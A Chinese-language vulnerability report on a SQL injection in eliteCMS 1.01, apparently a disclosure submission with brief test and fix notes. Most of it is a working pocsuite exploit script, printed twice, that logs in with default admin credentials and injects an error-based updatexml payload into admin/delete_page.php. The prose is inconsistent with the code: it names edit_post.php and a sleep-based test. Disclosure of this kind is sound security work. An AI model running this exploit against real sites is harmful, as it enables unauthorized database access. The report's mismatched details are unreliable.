漏洞对象：

eliteCMS存在SQL注入漏洞

## 漏洞复现过程

## 风险管理及规避

修复edit\_post.php的漏洞，对GET方式传入的值进行安全过滤，以防止sql注入。

## 测试方法

直接对网站进行抓包，将GET中传入的id值改为sql的sleep语句，之后放回，发现经过3s传来响应，证明存在sql漏洞

## 测试中所用的工具

Burp Suite Professional 1.7.37 phpstudy 8.1.1.4

## **漏洞复现结果**

## POC插件编写

#!/usr/bin/env python

# -\*- coding: utf-8 -\*-

from pocsuite.api.request import req

from pocsuite.api.poc import register,Output, POCBase

from pocsuite.thirdparty.guanxing import parse\_ip\_port, http\_packet, make\_verify\_url, dnslog

class TestPOC(POCBase):

vulID = ''''''

cveID = ''''''

cnvdID = ''''''

cnnvdID = ''''''

version = ''''''

author = ''''''

vulDate = ''''''

createDate = ''''''

updateDate = ''''''

name = ''''''

desc = ''''''

solution = ''''''

severity = ''''''

vulType = ''''''

taskType = ''''''

references = ['''''']

appName = ''''''

appVersion = ''''''

appPowerLink = ''''''

samples = ['']

install\_requires = ['''''']

def \_attack(self):

return self.\_verify()

def \_verify(self):

self.url,ip,port = parse\_ip\_port(self.target, 80)

result = {}

s = req.session()

headers = {

'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',

'Content-Type':'application/x-www-form-urlencoded',

'Referer':self.url

}

path = '/eliteCMS/admin/login.php'

data = '''user\_name=admin&password=admin&submit=Login'''

vulur = make\_verify\_url(self.url, path, mod = 0)

base\_resp = s.post(vulur, headers = headers, verify = False, allow\_redirects = False, timeout = 10, data = data)

if base\_resp.status\_code == 302 and 'Back to Website' in base\_resp.content :

path = '''/eliteCMS/admin/delete\_page.php?page=11111+or+updatexml(1,concat(0x7e,(version())),0)%23'''

vulurl = make\_verify\_url(self.url, path, mod = 0)

resp = s.get(vulurl, headers = headers, verify = False, allow\_redirects = False, timeout = 10)

if "~5.7.26" in resp.content and resp.status\_code == 200:

result['VerifyInfo'] = http\_packet(resp)

result['VerifyInfo']['URL'] = vulurl

result['VerifyInfo']['port'] = port

return self.parse\_output(result)

def parse\_output(self, result):

#parse output

output = Output(self)

if result:

output.success(result)

else:

output.fail('Internet nothing returned')

return output

register(TestPOC)

**漏洞信息**

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| --- | --- | --- | --- | --- | --- |
| **UVD-ID** |  | **漏洞类别** | SQL注入 | **CVE-ID** |  |
| **披露/发现时间** | 2022-07-21 | **bugtraq编号** |  | **CNNVD-ID：** |  |
| **提交时间** | 2022-07-21 01:04:01 | **漏洞发现者** |  | **CNVD-ID：** | [CNVD-2022-33824](http://www.cnvd.org.cn/flaw/show/CNVD-2022-33824" \t "https://poc.shuziguanxing.com/" \l "/_blank) |
| **漏洞等级** | 高危 | **提交者** | NK-11-XMH | **搜索关键词** |  |
| **影响范围** | elitecms Elitecms 1.01 | | | | |
| **来源** |  | | | | |
| **漏洞简介** | Elite Graphix Elite Cms是印度Elite Graphix公司的一个用Php语言编写的Web内容管理。用于存储和组织信息和文档的平台。 Elite Graphix Elite Cms存在SQL注入漏洞，该漏洞由于缺少对外部输入SQL语句的验证，攻击者可利用该漏洞执行非法SQL命令。 | | | | |
| **漏洞详情** | admin/delete\_page.php  delete\_page对一些get方式传递的参数未作一定的过滤，导致SQL注入  IMG_256 | | | | |
| **参考链接** | [https://www.cnvd.org.cn/patchInfo/show/331666](https://www.cnvd.org.cn/patchInfo/show/331666" \t "https://poc.shuziguanxing.com/" \l "/_blank)  [https://zjic.zj.gov.cn/art/2022/5/30/art\_1707\_1777414.html](https://zjic.zj.gov.cn/art/2022/5/30/art_1707_1777414.html" \t "https://poc.shuziguanxing.com/" \l "/_blank) | | | | |
| **靶场信息** |  | | | | |
| **POC** | #!/usr/bin/env python  # -\*- coding: utf-8 -\*-  from pocsuite.api.request import req  from pocsuite.api.poc import register,Output, POCBase  from pocsuite.thirdparty.guanxing import parse\_ip\_port, http\_packet, make\_verify\_url, dnslog  class TestPOC(POCBase):  vulID = ''''''  cveID = ''''''  cnvdID = ''''''  cnnvdID = ''''''  version = ''''''  author = ''''''  vulDate = ''''''  createDate = ''''''  updateDate = ''''''  name = ''''''  desc = ''''''  solution = ''''''  severity = ''''''  vulType = ''''''  taskType = ''''''  references = ['''''']  appName = ''''''  appVersion = ''''''  appPowerLink = ''''''  samples = ['']  install\_requires = ['''''']  def \_attack(self):  return self.\_verify()  def \_verify(self):  self.url,ip,port = parse\_ip\_port(self.target, 80)  result = {}  s = req.session()  headers = {  'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',  'Content-Type':'application/x-www-form-urlencoded',  'Referer':self.url  }    path = '/eliteCMS/admin/login.php'  data = '''user\_name=admin&password=admin&submit=Login'''  vulur = make\_verify\_url(self.url, path, mod = 0)  base\_resp = s.post(vulur, headers = headers, verify = False, allow\_redirects = False, timeout = 10, data = data)  if base\_resp.status\_code == 302 and 'Back to Website' in base\_resp.content :  path = '''/eliteCMS/admin/delete\_page.php?page=11111+or+updatexml(1,concat(0x7e,(version())),0)%23'''  vulurl = make\_verify\_url(self.url, path, mod = 0)  resp = s.get(vulurl, headers = headers, verify = False, allow\_redirects = False, timeout = 10)  if "~5.7.26" in resp.content and resp.status\_code == 200:  result['VerifyInfo'] = http\_packet(resp)  result['VerifyInfo']['URL'] = vulurl  result['VerifyInfo']['port'] = port  return self.parse\_output(result)  def parse\_output(self, result):  #parse output  output = Output(self)  if result:  output.success(result)  else:  output.fail('Internet nothing returned')  return output  register(TestPOC) | | | | |
| **修复方案** | 厂商已发布了漏洞修复程序，请及时关注更新：  https://github.com/jsjbcyber/bug\_report/blob/main/bug\_d 修改了edit\_post.php的漏洞 | | | | |
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